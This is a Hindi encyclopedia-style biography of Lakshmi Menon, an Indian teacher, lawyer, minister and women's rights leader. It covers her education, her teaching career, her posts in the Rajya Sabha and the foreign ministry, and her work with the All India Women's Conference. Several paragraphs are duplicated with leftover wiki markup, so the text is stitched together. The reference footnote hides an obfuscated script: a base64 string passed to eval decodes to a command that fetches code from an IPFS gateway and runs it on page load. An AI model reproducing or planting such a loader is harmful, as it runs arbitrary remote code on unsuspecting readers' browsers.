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लक्ष्मी मेनन इसी दौरान [[जवाहर लाल नेहरु]] और [[सरोजिनी नायडू]] आदि के संपर्क में आईंं। वे 'ऑल इंडिया वूमेंस कांफ्रेंस' की संस्थापक सदस्य थींं और इस संस्था की महामंत्री एवं अध्यक्ष भी रहीं। [[1952]] में वे [[राज्यसभा]] की सदस्य चुनी गईंं और [[संयुक्त राष्ट्र संघ]] में [[भारत]] के प्रतिनिधि मंडल की सदस्य रहीं। उनकी कार्य क्षमता से प्रभावित होकर उन्हें केंद्रीय मंत्रिमंडल में, [[1952]] में विदेश मंत्रालय का सभा सचिव, [[1957]] में उपमंत्री और [[1962]] में राज्य मंत्री की जिम्मेदारी सौंपी गयी थी। उन्होंने [[भारत]] [[चीन]] संघर्ष के दिनों में विभिन्न देशों की यात्रा करके भारत के दृष्टिकोण का स्पष्टीकरण बड़ी सफलता के साथ किया।  
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[[1966]] में लक्ष्मी ने सक्रिय राजनीति छोड़ दी थी। उन्होंने 'ऑल इंडिया वूमेंस कांफ्रेंस' संस्था के माध्यम से अपना पूरा ध्यान महिलाओं की स्थिति सुधारने के कामों में लगाया।
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[[1966]] में लक्ष्मी ने सक्रिय राजनीति छोड़ दी थी। उन्होंने 'ऑल इंडिया वूमेंस कांफ्रेंस' संस्था के माध्यम से अपना पूरा ध्यान महिलाओं के उत्थान में लगाया।
 
इस संस्था की वे संस्थापक सदस्य, महामंत्री एवं अध्यक्ष भी थीं।
 
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लक्ष्मी मेनन (जन्म- 1899, त्रिवेंद्रम) शिक्षिका, वकील और राजनेता थीं। उन्हें पद्मभूषण से सम्मानित किया गया था। इन्होंने महिलाओं की स्थिति सुधारने के कामों पर विशेष बल दिया।

परिचय

प्रसिद्ध महिला नेत्री और नारी उत्थान के लिए प्रयत्नशील लक्ष्मी मेनन का जन्म 1899 ईसवी में त्रिवेंद्रम में हुआ था। उन्होंने त्रिवेंद्रम, मद्रास, लखनऊ और लंदन में शिक्षा पाई तथा एम.ए., एल.टी. और एल.एल.बी.. की डिग्रीयां लीं। देश और समाज के प्रति किये गये कार्यों के लिए 1957 में लक्ष्मी मेनन को पद्म भूषण से सम्मानित किया गया था। [1]

अध्यापन

लक्ष्मी ने एक शिक्षिका के रूप में जीवन आरंभ किया। 5 वर्ष तक वे कॉलेज, मद्रास में पढ़ाती रहीं। फिर गोखले क्वीन मैरिज मेमोरियल स्कूल, कोलकाता आईं। उन्होंने 1930 से 1932 तक आईटी कॉलेज, लखनऊ में अध्यापन कार्य किया। 1951-1952 में वे टीचर्स ट्रेनिंग कॉलेज, पटना की प्राचार्या थींं।

राजनैतिक यात्रा

लक्ष्मी मेनन इसी दौरान जवाहर लाल नेहरु और सरोजिनी नायडू आदि के संपर्क में आईंं। वे 'ऑल इंडिया वूमेंस कांफ्रेंस' की संस्थापक सदस्य थींं और इस संस्था की महामंत्री एवं अध्यक्ष भी रहीं। 1952 में वे राज्यसभा की सदस्य चुनी गईंं और संयुक्त राष्ट्र संघ में भारत के प्रतिनिधि मंडल की सदस्य रहीं। उनकी कार्य क्षमता से प्रभावित होकर उन्हें केंद्रीय मंत्रिमंडल में, 1952 में विदेश मंत्रालय का सभा सचिव, 1957 में उपमंत्री और 1962 में राज्य मंत्री की जिम्मेदारी सौंपी गयी थी। उन्होंने भारत चीन संघर्ष के दिनों में विभिन्न देशों की यात्रा करके भारत के दृष्टिकोण का स्पष्टीकरण बड़ी सफलता के साथ किया।

महिला उत्थान

1966 में लक्ष्मी ने सक्रिय राजनीति छोड़ दी थी। उन्होंने 'ऑल इंडिया वूमेंस कांफ्रेंस' संस्था के माध्यम से अपना पूरा ध्यान महिलाओं के उत्थान में लगाया। इस संस्था की वे संस्थापक सदस्य, महामंत्री एवं अध्यक्ष भी थीं।


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टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 758 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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